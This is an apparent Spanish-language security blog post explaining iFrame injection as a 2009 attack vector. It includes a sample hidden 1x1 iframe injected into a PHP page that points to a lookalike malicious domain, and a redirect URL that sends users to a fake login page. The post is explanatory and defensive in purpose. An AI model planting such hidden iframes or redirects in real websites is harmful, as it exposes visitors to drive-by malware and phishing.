Security Consultant: While just one Security Consultat keep breathing, that won’t happen.
Una cosa que siempre me ha causado cierta admiración es la habilidad e imaginación que las mentes de los “hackers” son capaces de desarrollar a la hora de generar sus ataques. Es una curiosa mezcla entre una gran conocimiento metodológico y sistemático de unos sistemas diseñados por el hombre sobre una base matemática y algebraica que a su vez requiere de gran creatividad e imaginación para obtener nuevas puertas, vulnerabilidades, brechas o como quieras llamarlo sobre sistemas que ya otras muchas personas se estuvieron comiendo la cabeza antes como diseñar. Recuerda un poquito a una partida de ajedrez, los movimientos son conocidos y limitados, pero las posibilidades casi infinitas (como la paradoja del grano de arroz y el tablero de ajedrez).
Esta mañana revisaba un paper con los principales vectores de ataque que el cybercrimen está utilizando en esta primera mitad del 2009, entre los que destacan estos 5:
- SQL Injection
- iFrame Injection
- Encryption Wrappers (malware)
- File Masquerading (algo que ya vimos en el Rosillo Project)
- Encryption techniques in peer to peer systems for bypass web gateways inspection systems.
El documento hace referencia a como los chicos malos utilizan tecnología tan interesante como el Grid Computing para lograr una cantidad ingente de recursos a su disposición (son las conocidas como botnets) y utilizar a su antojo. Independientemente de la opinión que os merezcan estos 5 vectores hay uno del cual llevaba sin escuchar mucho tiempo, es el iFrame Injection.
iFrame Injection
Hagamos un poquito de literatura, un iFrame o “marco incorporado” (que mal suena) es un trozito de codigo HTML que permitirá incrustar un objeto html dentro de una pagina html. Esto puede tener muchas utilidades, entre ellas la publicidad, pero alguien no tardó mucho tiempo en aprovecharse de estos “marcos” con fines delictivos. Todos recordamos esa oleada de correos que en los años 2002-2004 no había siquiera que abrir, ya que incluían código maligno que ejecutaba el gusano anexo del correo que a su vez aprovechaba una vulnerabilidad del Explorer para hacer su trabajo. Toda una interesante vuelta para llegar al objetivo de siempre: comprometer un sistema. Original, ¿verdad?
La idea se ha reciclado un poquito y vuelve a la carga, la definición que se da en el paper es la siguiente:
"iFrame injections can be as small as 1x1 white píxel at the bottom of a web page uncen by the visitor and linked to active scripts that download malware from an obscure Server"
Según Symantec cada dia unas 3000 páginas web son infectadas, algunas de ellas mediante esta técnica que bien podría utilizarse también para hacer phishing, ¿cómo? Supongamos que logro comprometer un servidor web desarrollado en ,,, digamos php (por poner un ejemplo). Supongamos que inyecto en el archivo index.php (los iFrames no son exclusivos del código HTML) el siguiente código maligno:
iframe src=”http://goooogleadsence.biz/?click=8F9DA” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>
Como se puede apreciar el atributo de visibilidad está en “oculto”, con lo cual no se mostrará en pantalla, sin embargo se ejecutará. Lo cual cargará una pagina web maligna dentro de “la buena”. Si el sitio ya ha sido catalogado por google como “maligno” es muy probable que nos salte un disclaimer como el siguiente:
Que a su vez nos permitirá ejecutar el “Safebrowsing” de google, quien nos informará del estado de esa Web en los últimos 90 dias, por ejemplo si queremos ver el número de infecciones del Marca nos dirá:
Por lo que podremos ver mañana la victoria de España a EE.UU. con tranquilidad (esperemos). Un consejo, consultad vuestra entidad bancaria, hay alguna sorpresilla.
Esto como suponeis puede ser una pesadilla para un administrador web que tiene que recorrer todas las páginas comprometidas buscando una cadena de texto y eliminándola / reparándola, a veces son cosas tan sencillas como sustituir una referencia por otra:
https://www.victim.foo/index.php?
targeturl=http://fake_victim.foo/login.php
Se puede incluso complicar la detección de estas URL para que pase totalmente desapercibida valiéndonos de alguna de las técnicas de “Proxy Jocking” que vimos hace poco, haciéndonos pensar que todo está bien cuando no es así.
Info adicional:
Clean.PHP (encuentra patrones conocidos en tu sitio web)
Web Legales en Jaque (Panda - WhitePaper)
Como veis, "nuevas" amenazas para viejos vectores de ataque.
Salu2!